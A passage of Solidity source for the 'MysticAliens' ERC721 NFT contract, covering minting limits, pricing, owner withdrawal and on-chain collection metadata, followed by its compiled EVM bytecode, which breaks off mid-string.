_ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } pragma solidity ^0.8.0; contract MysticAliens is ERC721Enumerable, Ownable { using SafeMath for uint256; using Strings for uint256; uint public constant _TOTALSUPPLY =2022; uint public maxPerTx =5; uint256 public price = 0.15 ether; bool public isPaused = true; uint private tokenId=1; constructor(string memory baseURI) ERC721("MysticAliens", "MA") { setBaseURI(baseURI); } function setBaseURI(string memory baseURI) public onlyOwner { _baseURI = baseURI; } function setPrice(uint256 _newPrice) public onlyOwner() { price = _newPrice; } function setMaxxQtPerTx(uint256 _quantity) public onlyOwner { maxPerTx=_quantity; } modifier isSaleOpen{ require(totalSupply() < _TOTALSUPPLY, "Sale end"); _; } function flipPauseStatus() public onlyOwner { isPaused = !isPaused; } function getPrice(uint256 _quantity) public view returns (uint256) { return _quantity*price ; } function mint(uint chosenAmount) public payable isSaleOpen{ require(isPaused == false, "Sale is not active at the moment"); require(totalSupply()+chosenAmount<=_TOTALSUPPLY,"Quantity must be lesser then remaining NFTs"); require(chosenAmount > 0, "Number of NFTs can not be less than or equal to 0"); require(chosenAmount <= maxPerTx,"Chosen Amount exceeds MaxQuantity allowed per transaction"); require(chosenAmount+balanceOf(msg.sender)<=10, "Maximum of 10 NFTs can be owned by one person"); require(price.mul(chosenAmount) == msg.value,"Sent ether value is not correct"); for (uint i = 0; i < chosenAmount; i++) { _safeMint(msg.sender, totalsupply()); tokenId++; } } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory base = baseURI(); return bytes(base).length > 0 ? string(abi.encodePacked(base, tokenId.toString(), ".json")) : ""; } function tokensOfOwner(address _owner) public view returns (uint256[] memory) { uint256 count = balanceOf(_owner); uint256[] memory result = new uint256[](count); for (uint256 index = 0; index < count; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } function contractURI() public view returns (string memory) { string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Mystic Aliens", "description": "For decades, humans have researched and wondered about life beyond Earth. The search is finally over, 2022 Mystic Aliens have landed and they brought a spaceship full of otherworldly treasures - you too can reap the rewards of the Mystic Aliens one of a kind staking + DAO Protocol. APY that is out of this world, literally. Programmatically and randomly generated on the Ethereum Blockchain. Each Alien is unique, made from a combination of more than 50 attributes drawn by hand. A Mystic Alien is both a NFT collectible and a key to enter the spaceship and a lot more.", "seller_fee_basis_points": 1000, "fee_recipient": "0x2C0593Bbd2182C7818ab624FEC0d35EDad917C47"}')))); json = string(abi.encodePacked('data:application/json;base64,', json)); return json; } function totalsupply() private view returns (uint) { return tokenId; } } library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
0x6080604052600436106101e35760003560e01c806391b7f5ed11610102578063c87b56dd11610095578063e985e9c511610064578063e985e9c51461070b578063f2fde38b14610748578063f968adbe14610771578063fa62884c1461079c576101e3565b8063c87b56dd1461063b578063db4568e214610678578063e7572230146106a3578063e8a3d485146106e0576101e3565b8063a0712d68116100d1578063a0712d68146105a2578063a22cb465146105be578063b187bd26146105e7578063b88d4fde14610612576101e3565b806391b7f5ed146104fa57806395d89b41146105235780639d38fd211461054e578063a035b1fe14610577576101e3565b806342842e0e1161017a57806370a082311161014957806370a082311461042a578063743976a0146104675780638462151c146104925780638da5cb5b146104cf576101e3565b806342842e0e1461035e5780634f6ccce71461038757806355f804b3146103c45780636352211e146103ed576101e3565b806318160ddd116101b657806318160ddd146102b657806323b872dd146102e15780632f745c591461030a5780633ccfd60b14610347576101e3565b806301ffc9a7146101e857806306fdde0314610225578063081812fc14610250578063095ea7b31461028d575b600080fd5b3480156101f457600080fd5b5061020f600480360381019061020a9190612fd4565b6107b3565b60405161021c91906136be565b60405180910390f35b34801561023157600080fd5b5061023a61082d565b60405161024791906136d9565b60405180910390f35b34801561025c57600080fd5b5061027760048036038101906102729190613077565b6108bf565b6040516102849190613635565b60405180910390f35b34801561029957600080fd5b506102b460048036038101906102af9190612f94565b610944565b005b3480156102c257600080fd5b506102cb610a5c565b6040516102d89190613a1b565b60405180910390f35b3480156102ed57600080fd5b5061030860048036038101906103039190612e7e565b610a69565b005b34801561031657600080fd5b50610331600480360381019061032c9190612f94565b610ac9565b60405161033e9190613a1b565b60405180910390f35b34801561035357600080fd5b5061035c610b6e565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e7e565b610c39565b005b34801561039357600080fd5b506103ae60048036038101906103a99190613077565b610c59565b6040516103bb9190613a1b565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e6919061302e565b610cca565b005b3480156103f957600080fd5b50610414600480360381019061040f9190613077565b610d60565b6040516104219190613635565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c9190612e11565b610e12565b60405161045e9190613a1b565b60405180910390f35b34801561047357600080fd5b5061047c610eca565b60405161048991906136d9565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190612e11565b610f58565b6040516104c6919061369c565b60405180910390f35b3480156104db57600080fd5b506104e4611006565b6040516104f19190613635565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c9190613077565b611030565b005b34801561052f57600080fd5b506105386110b6565b60405161054591906136d9565b60405180910390f35b34801561055a57600080fd5b5061057560048036038101906105709190613077565b611148565b005b34801561058357600080fd5b5061058c6111ce565b6040516105999190613a1b565b60405180910390f35b6105bc60048036038101906105b79190613077565b6111d4565b005b3480156105ca57600080fd5b506105e560048036038101906105e09190612f54565b61144c565b005b3480156105f357600080fd5b506105fc6115cd565b60405161060991906136be565b60405180910390f35b34801561061e57600080fd5b5061063960048036038101906106349190612ed1565b6115e0565b005b34801561064757600080fd5b50610662600480360381019061065d9190613077565b611642565b60405161066f91906136d9565b60405180910390f35b34801561068457600080fd5b5061068d6116e9565b60405161069a9190613a1b565b60405180910390f35b3480156106af57600080fd5b506106ca60048036038101906106c59190613077565b6116ef565b6040516106d79190613a1b565b60405180910390f35b3480156106ec57600080fd5b506106f5611706565b60405161070291906136d9565b60405180910390f35b34801561071757600080fd5b50610732600480360381019061072d9190612e3e565b61175b565b60405161073f91906136be565b60405180910390f35b34801561075457600080fd5b5061076f600480360381019061076a9190612e11565b6117ef565b005b34801561077d57600080fd5b506107866118e7565b6040516107939190613a1b565b60405180910390f35b3480156107a857600080fd5b506107b16118ed565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610826575061082582611995565b5b9050919050565b60606000805461083c90613d04565b80601f016020809104026020016040519081016040528092919081815260200182805461086890613d04565b80156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b5050505050905090565b60006108ca82611a77565b610909576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610900906138db565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061094f82610d60565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b79061395b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166109df611ae3565b73ffffffffffffffffffffffffffffffffffffffff161480610a0e5750610a0d81610a08611ae3565b61175b565b5b610a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a449061381b565b60405180910390fd5b610a578383611aeb565b505050565b6000600980549050905090565b610a7a610a74611ae3565b82611ba4565b610ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab09061397b565b60405180910390fd5b610ac4838383611c82565b505050565b6000610ad483610e12565b8210610b15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0c906136fb565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610b76611ae3565b73ffffffffffffffffffffffffffffffffffffffff16610b94611006565b73ffffffffffffffffffffffffffffffffffffffff1614610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be1906138fb565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c35573d6000803e3d6000fd5b5050565b610c54838383604051806020016040528060008152506115e0565b505050565b6000610c63610a5c565b8210610ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9b906139bb565b60405180910390fd5b60098281548110610cb857610cb7613e9d565b5b90600052602060002001549050919050565b610cd2611ae3565b73ffffffffffffffffffffffffffffffffffffffff16610cf0611006565b73ffffffffffffffffffffffffffffffffffffffff1614610d46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3d906138fb565b60405180910390fd5b8060069080519060200190610d5c929190612c25565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e009061385b565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061383b565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60068054610ed790613d04565b80601f0160208091040260200160405190810160405280929190818152602001828054610f0390613d04565b8015610f505780601f10610f2557610100808354040283529160200191610f50565b820191906000526020600020905b815481529060010190602001808311610f3357829003601f168201915b505050505081565b60606000610f6583610e12565b905060008167ffffffffffffffff811115610f8357610f82613ecc565b5b604051908082528060200260200182016040528015610fb15781602001602082028036833780820191505090505b50905060005b82811015610ffb57610fc98582610ac9565b828281518110610fdc57610fdb613e9d565b5b6020026020010181815250508080610ff390613d67565b915050610fb7565b508092505050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611038611ae3565b73ffffffffffffffffffffffffffffffffffffffff16611056611006565b73ffffffffffffffffffffffffffffffffffffffff16146110ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a3906138fb565b60405180910390fd5b80600d8190555050565b6060600180546110c590613d04565b80601f01602080910402602001604051908101604052809291908181526020018280546110f190613d04565b801561113e5780601f106111135761010080835404028352916020019161113e565b820191906000526020600020905b81548152906001019060200180831161112157829003601f168201915b5050505050905090565b611150611ae3565b73ffffffffffffffffffffffffffffffffffffffff1661116e611006565b73ffffffffffffffffffffffffffffffffffffffff16146111c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bb906138fb565b60405180910390fd5b80600c8190555050565b600d5481565b6107e66111df610a5c565b1061121f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112169061389b565b60405180910390fd5b60001515600e60009054906101000a900460ff16151514611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c906139fb565b60405180910390fd5b6107e681611281610a5c565b61128b9190613b39565b11156112cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c3906139db565b60405180910390fd5b6000811161130f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611306906138bb565b60405180910390fd5b600c54811115611354576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134b906137fb565b60405180910390fd5b600a61135f33610e12565b8261136a9190613b39565b11156113ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a29061399b565b60405180910390fd5b346113c182600d54611ede90919063ffffffff16565b14611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f8906137db565b60405180910390fd5b60005b818110156114485761141d33611418611ef4565b611efe565b600f600081548092919061143090613d67565b9190505550808061144090613d67565b915050611404565b5050565b611454611ae3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b99061379b565b60405180910390fd5b80600560006114cf611ae3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661157c611ae3565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516115c191906136be565b60405180910390a35050565b600e60009054906101000a900460ff1681565b6115f16115eb611ae3565b83611ba4565b611630576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116279061397b565b60405180910390fd5b61163c84848484611f1c565b50505050565b606061164d82611a77565b61168c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116839061393b565b60405180910390fd5b6000611696611f78565b905060008151116116b657604051806020016040528060008152506116e1565b806116c08461200a565b6040516020016116d19291906135cf565b6040516020818303038152906040525b915050919050565b6107e681565b6000600d54826116ff9190613bc0565b9050919050565b6060600061173060405160200161171c906135fe565b60405160208183030381529060405261216b565b9050806040516020016117439190613613565b60405160208183030381529060405290508091505090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6117f7611ae3565b73ffffffffffffffffffffffffffffffffffffffff16611815611006565b73ffffffffffffffffffffffffffffffffffffffff161461186b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611862906138fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d29061373b565b60405180910390fd5b6118e481612303565b50565b600c5481565b6118f5611ae3565b73ffffffffffffffffffffffffffffffffffffffff16611913611006565b73ffffffffffffffffffffffffffffffffffffffff1614611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611960906138fb565b60405180910390fd5b600e60009054906101000a900460ff1615600e60006101000a81548160ff021916908315150217905550565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611a6057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611a705750611a6f826123c9565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611b5e83610d60565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611baf82611a77565b611bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be5906137bb565b60405180910390fd5b6000611bf983610d60565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611c6857508373ffffffffffffffffffffffffffffffffffffffff16611c50846108bf565b73ffffffffffffffffffffffffffffffffffffffff16145b80611c795750611c78818561175b565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611ca282610d60565b73ffffffffffffffffffffffffffffffffffffffff1614611cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cef9061391b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5f9061377b565b60405180910390fd5b611d73838383612433565b611d7e600082611aeb565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611dce9190613c1a565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e259190613b39565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60008183611eec9190613bc0565b905092915050565b6000600f54905090565b611f18828260405180602001604052806000815250612547565b5050565b611f27848484611c82565b611f33848484846125a2565b611f72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f699061371b565b60405180910390fd5b50505050565b606060068054611f8790613d04565b80601f0160208091040260200160405190810160405280929190818152602001828054611fb390613d04565b80156120005780601f10611fd557610100808354040283529160200191612000565b820191906000526020600020905b815481529060010190602001808311611fe357829003601f168201915b5050505050905090565b60606000821415612052576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612166565b600082905060005b6000821461208457808061206d90613d67565b915050600a8261207d9190613b8f565b915061205a565b60008167ffffffffffffffff8111156120a05761209f613ecc565b5b6040519080825280601f01601f1916602001820160405280156120d25781602001600182028036833780820191505090505b5090505b6000851461215f576001826120eb9190613c1a565b9150600a856120fa9190613db0565b60306121069190613b39565b60f81b81838151811061211c5761211b613e9d565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856121589190613b8f565b94506120d6565b8093505050505b919050565b6060600082519050600081141561219457604051806020016040528060008152509150506122fe565b600060036002836121a59190613b39565b6121af9190613b8f565b60046121bb9190613bc0565b905060006020826121cc9190613b39565b67ffffffffffffffff8111156121e5576121e4613ecc565b5b6040519080825280601f01601f1916602001820160405280156122175781602001600182028036833780820191505090505b50905060006040518060600160405280604081526020016149f8604091399050600181016020830160005b868110156122bb5760038101905062ffffff818a015116603f8160121c168401518060081b905060ff603f83600c1c1686015116810190508060081b905060ff603f8360061c1686015116810190508060081b905060ff603f831686015116810190508060e01b90508084526004840193505050612242565b5060038606600181146122d557600281146122e5576122f0565b613d3d60f01b60028303526122f0565b603d60f81b60018303525b508484525050819450505050505b919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b61243e838383612739565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124815761247c8161273e565b6124c0565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146124bf576124be8382612787565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612503576124fe816128f4565b612542565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146125415761254082826129c5565b5b5b505050565b6125518383612a44565b61255e60008484846125a2565b61259d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125949061371b565b60405180910390fd5b505050565b60006125c38473ffffffffffffffffffffffffffffffffffffffff16612c12565b1561272c578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026125ec611ae3565b8786866040518563ffffffff1660e01b815260040161260e9493929190613650565b602060405180830381600087803b15801561262857600080fd5b505af192505050801561265957506040513d601f19601f820116820180604052508101906126569190613001565b60015b6126dc573d8060008114612689576040519150601f19603f3d011682016040523d82523d6000602084013e61268e565b606091505b506000815114156126d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126cb9061371b565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612731565b600190505b949350505050565b505050565b600980549050600a600083815260200190815260200160002081905550600981908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161279484610e12565b61279e9190613c1a565b9050600060086000848152602001908152602001600020549050818114612883576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816008600083815260200190815260200160002081905550505b6008600084815260200190815260200160002060009055600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016009805490506129089190613c1a565b90506000600a600084815260200190815260200160002054905060006009838154811061293857612937613e9d565b5b90600052602060002001549050806009838154811061295a57612959613e9d565b5b906000526020600020018190555081600a600083815260200190815260200160002081905550600a60008581526020019081526020016000206000905560098054806129a9576129a8613e6e565b5b6001900381819060005260206000200160009055905550505050565b60006129d083610e12565b905081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806008600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aab9061387b565b60405180910390fd5b612abd81611a77565b15612afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612af49061375b565b60405180910390fd5b612b0960008383612433565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b599190613b39565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b828054612c3190613d04565b90600052602060002090601f016020900481019282612c535760008555612c9a565b82601f10612c6c57805160ff1916838001178555612c9a565b82800160010185558215612c9a579182015b82811115612c99578251825591602001919060010190612c7e565b5b509050612ca79190612cab565b5090565b5b80821115612cc4576000816000905550600101612cac565b5090565b6000612cdb612cd684613a5b565b613a36565b905082815260208101848484011115612cf757612cf6613f00565b5b612d02848285613cc2565b509392505050565b6000612d1d612d1884613a8c565b613a36565b905082815260208101848484011115612d3957612d38613f00565b5b612d44848285613cc2565b509392505050565b600081359050612d5b8161499b565b92915050565b600081359050612d70816149b2565b92915050565b600081359050612d85816149c9565b92915050565b600081519050612d9a816149c9565b92915050565b600082601f830112612db557612db4613efb565b5b8135612dc5848260208601612cc8565b91505092915050565b600082601f830112612de357612de2613efb565b5b8135612df3848260208601612d0a565b91505092915050565b600081359050612e0b816149e0565b92915050565b600060208284031215612e2757612e26613f0a565b5b6000612e3584828501612d4c565b91505092915050565b60008060408385031215612e5557612e54613f0a565b5b6000612e6385828601612d4c565b9250506020612e7485828601612d4c565b9150509250929050565b600080600060608486031215612e9757612e96613f0a565b5b6000612ea586828701612d4c565b9350506020612eb686828701612d4c565b9250506040612ec786828701612dfc565b9150509250925092565b60008060008060808587031215612eeb57612eea613f0a565b5b6000612ef987828801612d4c565b9450506020612f0a87828801612d4c565b9350506040612f1b87828801612dfc565b925050606085013567ffffffffffffffff811115612f3c57612f3b613f05565b5b612f4887828801612da0565b91505092959194509250565b60008060408385031215612f6b57612f6a613f0a565b5b6000612f7985828601612d4c565b9250506020612f8a85828601612d61565b9150509250929050565b60008060408385031215612fab57612faa613f0a565b5b6000612fb985828601612d4c565b9250506020612fca85828601612dfc565b9150509250929050565b600060208284031215612fea57612fe9613f0a565b5b6000612ff884828501612d76565b91505092915050565b60006020828403121561301757613016613f0a565b5b600061302584828501612d8b565b91505092915050565b60006020828403121561304457613043613f0a565b5b600082013567ffffffffffffffff81111561306257613061613f05565b5b61306e84828501612dce565b91505092915050565b60006020828403121561308d5761308c613f0a565b5b600061309b84828501612dfc565b91505092915050565b60006130b083836135b1565b60208301905092915050565b6130c581613c4e565b82525050565b60006130d682613acd565b6130e08185613afb565b93506130eb83613abd565b8060005b8381101561311c57815161310388826130a4565b975061310e83613aee565b9250506001810190506130ef565b5085935050505092915050565b61313281613c60565b82525050565b600061314382613ad8565b61314d8185613b0c565b935061315d818560208601613cd1565b61316681613f0f565b840191505092915050565b600061317c82613ae3565b6131868185613b1d565b9350613196818560208601613cd1565b61319f81613f0f565b840191505092915050565b60006131b582613ae3565b6131bf8185613b2e565b93506131cf818560208601613cd1565b80840191505092915050565b60006131e8602b83613b1d565b91506131f382613f20565b604082019050919050565b600061320b603283613b1d565b915061321682613f6f565b604082019050919050565b600061322e602683613b1d565b915061323982613fbe565b604082019050919050565b6000613251601c83613b1d565b915061325c8261400d565b602082019050919050565b60006132756102c683613b2e565b915061328082614036565b6102c682019050919050565b6000613299602483613b1d565b91506132a4826143b2565b604082019050919050565b60006132bc601983613b1d565b91506132c782614401565b602082019050919050565b60006132df602c83613b1d565b91506132ea8261442a565b604082019050919050565b6000613302601f83613b1d565b915061330d82614479565b602082019050919050565b6000613325603983613b1d565b9150613330826144a2565b604082019050919050565b6000613348603883613b1d565b9150613353826144f1565b604082019050919050565b600061336b602a83613b1d565b915061337682614540565b604082019050919050565b600061338e602983613b1d565b91506133998261458f565b604082019050919050565b60006133b1602083613b1d565b91506133bc826145de565b602082019050919050565b60006133d4600883613b1d565b91506133df82614607565b602082019050919050565b60006133f7603183613b1d565b915061340282614630565b604082019050919050565b600061341a602c83613b1d565b91506134258261467f565b604082019050919050565b600061343d600583613b2e565b9150613448826146ce565b600582019050919050565b6000613460602083613b1d565b915061346b826146f7565b602082019050919050565b6000613483602983613b1d565b915061348e82614720565b604082019050919050565b60006134a6602f83613b1d565b91506134b18261476f565b604082019050919050565b60006134c9602183613b1d565b91506134d4826147be565b604082019050919050565b60006134ec601d83613b2e565b91506134f78261480d565b601d82019050919050565b600061350f603183613b1d565b915061351a82614836565b604082019050919050565b6000613532602d83613b1d565b915061353d82614885565b604082019050919050565b6000613555602c83613b1d565b9150613560826148d4565b604082019050919050565b6000613578602b83613b1d565b915061358382614923565b604082019050919050565b600061359b602083613b1d565b91506135a682614972565b602082019050919050565b6135ba81613cb8565b82525050565b6135c981613cb8565b82525050565b60006135db82856131aa565b91506135e782846131aa565b91506135f282613430565b91508190509392505050565b600061360982613267565b9150819050919050565b600061361e826134df565b915061362a82846131aa565b915081905092915050565b600060208201905061364a60008301846130bc565b92915050565b600060808201905061366560008301876130bc565b61367260208301866130bc565b61367f60408301856135c0565b81810360608301526136918184613138565b905095945050505050565b600060208201905081810360008301526136b681846130cb565b905092915050565b60006020820190506136d36000830184613129565b92915050565b600060208201905081810360008301526136f38184613171565b905092915050565b60006020820190508181036000830152613714816131db565b9050919050565b60006020820190508181036000830152613734816131fe565b9050919050565b600060208201905